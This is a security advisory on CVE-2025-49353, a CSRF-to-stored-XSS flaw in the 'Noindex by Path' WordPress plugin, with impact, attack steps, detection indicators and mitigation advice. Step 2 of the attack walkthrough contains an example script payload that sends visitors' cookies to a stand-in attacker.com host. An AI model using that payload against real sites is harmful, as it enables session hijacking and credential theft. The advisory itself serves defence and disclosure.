CVE-2025-49353: 
WordPress vulnerability analysis and mitigation

CVE-2025-49353 is a Cross-Site Request Forgery (CSRF) vulnerability in the "Noindex by Path" WordPress plugin by Marcin Kijak that enables Stored Cross-Site Scripting (XSS) attacks. It affects all versions of the plugin up to and including version 1.0, with no official patch available as of the disclosure date. The vulnerability was reported by security researcher Skalucy on October 18, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 7.1 (High) (Patchstack, Red Hat CVE).

The vulnerability is classified under CWE-352 (Cross-Site Request Forgery) and maps to OWASP Top 10 category A1: Broken Access Control. The plugin fails to implement adequate CSRF token validation on its administrative endpoints, allowing an unauthenticated attacker to craft a malicious request that, when executed by an authenticated administrator, stores a malicious script in the plugin's configuration. This stored XSS payload is then served to subsequent site visitors, enabling script execution in their browsers. No privileges are required on the attacker's part, but user interaction from a privileged user (e.g., an administrator clicking a malicious link or visiting a crafted page) is necessary for exploitation (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts into the WordPress site's configuration, affecting all visitors who subsequently load pages where the stored payload is rendered. The impact spans confidentiality (potential session token theft or credential harvesting), integrity (unauthorized modification of plugin settings and injected content), and availability (potential site defacement or redirection). The changed scope in the CVSS vector indicates that the impact extends beyond the plugin itself to affect site visitors and administrators (Patchstack, Red Hat CVE).

No evidence of active in-the-wild exploitation has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.014% (0.000140), indicating a very low probability of exploitation in the near term. Patchstack classifies the priority as "Low" and notes the issue is unlikely to be exploited, though it acknowledges that CSRF-based vulnerabilities can be used in mass-exploit campaigns targeting WordPress sites at scale. No public proof-of-concept exploit code has been identified (Patchstack).

1. Reconnaissance: Identify WordPress sites running the "Noindex by Path" plugin version 1.0 or earlier, using tools like WPScan or by checking publicly accessible plugin metadata.
2. Craft malicious request: Create an HTML page or form that submits a forged POST request to the vulnerable plugin's settings endpoint, embedding a malicious XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in a plugin configuration field.
3. Deliver to administrator: Trick a logged-in WordPress administrator into visiting the attacker-controlled page (e.g., via phishing email or malicious link), causing their browser to submit the forged request with their authenticated session credentials.
4. Payload stored: The plugin saves the malicious script to the WordPress database without CSRF validation, persisting the XSS payload in the plugin's configuration.
5. XSS execution: When site visitors or administrators load pages that render the affected plugin output, the stored script executes in their browsers, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing unexpected POST requests to plugin settings endpoints from unusual IP addresses or referrers; admin action logs reflecting configuration changes not initiated by known administrators.
• File System: Unexpected modifications to the WordPress database wp_options table entries associated with the noindex-by-path plugin containing script tags or encoded JavaScript.
• Network: Outbound connections from site visitors' browsers to unknown external domains following page loads; unusual traffic patterns suggesting cookie or credential exfiltration.
• Application: Presence of <script> tags or JavaScript event handlers in plugin configuration fields when reviewing the plugin's settings in the WordPress admin panel.

As of the disclosure date (December 31, 2025), no official patch has been released by the plugin developer for the "Noindex by Path" plugin. The recommended immediate action is to deactivate and remove the plugin until a patched version becomes available. WordPress administrators should monitor the WordPress plugin repository for an updated version and apply it promptly when released. As a compensating control, web application firewalls (WAFs) with CSRF and XSS detection rules — such as those provided by Patchstack, Wordfence, or similar solutions — can help block exploitation attempts (Patchstack).

The vulnerability was disclosed by Patchstack, which sent early warnings to its customers on December 31, 2025. Community discussion has been minimal, consistent with the low severity classification and limited install base of the affected plugin. No notable vendor statements beyond the Patchstack advisory or significant media coverage have been identified (Patchstack).